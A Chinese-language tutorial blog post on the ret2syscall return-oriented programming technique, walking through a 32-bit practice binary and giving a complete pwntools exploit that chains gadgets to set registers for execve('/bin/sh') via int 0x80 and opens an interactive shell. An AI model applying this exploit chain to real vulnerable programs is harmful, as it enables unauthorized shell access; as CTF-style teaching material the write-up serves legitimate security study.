美文网首页
一.3_基本rop_ret2syscall

一.3_基本rop_ret2syscall

作者: Zero_0_0 | 来源:发表于2019-05-04 00:19 被阅读0次

ret2syscall,即控制程序执行系统调用,获取 shell (很短的一句话,蕴含着大道理)

思考
1.程序只给我们/bin/sh 但是没给我们system函数 构造不了sysytem(/bin/sh),仔细观察,发现了int 80(自行百度)
2.只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。 例如:

execve("/bin/sh",NULL,NULL)   #oxb是execve的系统调用号

3.32 位

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
EXP
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421  #ROPgadget --binary rop --only "int"
bin_sh_addr = 0x80be408
payload = 'A' * 112
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)  ##构造execve里面的内容
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(int_0x80)    # int 80调用的是eax的系统调用号

sh.sendline(payload)
sh.interactive()

注:int 80 不理解可以学习一下这篇文章:https://www.jianshu.com/p/5ea7016e60c8

相关文章

  • 一.3_基本rop_ret2syscall

    ret2syscall,即控制程序执行系统调用,获取 shell (很短的一句话,蕴含着大道理) 思考1.程序只...

  • 2022.11.16(晴)

    今天再次全员核酸。3_

  • UNTITLED

    刷题间歇的摸鱼(:3_ヽ)_

  • 一.3_基本rop_ret2libc

    这个题比较多,我们通过脚本分析题(知道思路就Ok了) EXP_ret2libc1 (脚本就不变了,和自己脚本风格...

  • 2022.1.8(阴)

    上午干一天卫生。下午休息,3_

  • 2022.10.22(晴)

    今天课标考试。别逞能,该撤就撤。3_

  • 2022.8.20(晴)

    今天全员做核酸。离开学还有10天。3_

  • 新人报道

    自学绘画,画画渣(:3_ヽ)_, 一下是指绘,板绘和手绘

  • Python札记3_字符串基本操作

    字符串基本操作 字符串是一种序列,序列常见的公有操作: len() :求长度 + :两个序列相加 *:序列的重复,...

  • 3_多态

    面向对象的三大特征:封装、继承和多态; 多态的形式 父类类型的范围 > 字类类型的范围 多态的概念 同一个类型的对...

网友评论

      本文标题:一.3_基本rop_ret2syscall

      本文链接:https://www.haomeiwen.com/subject/vmstoqtx.html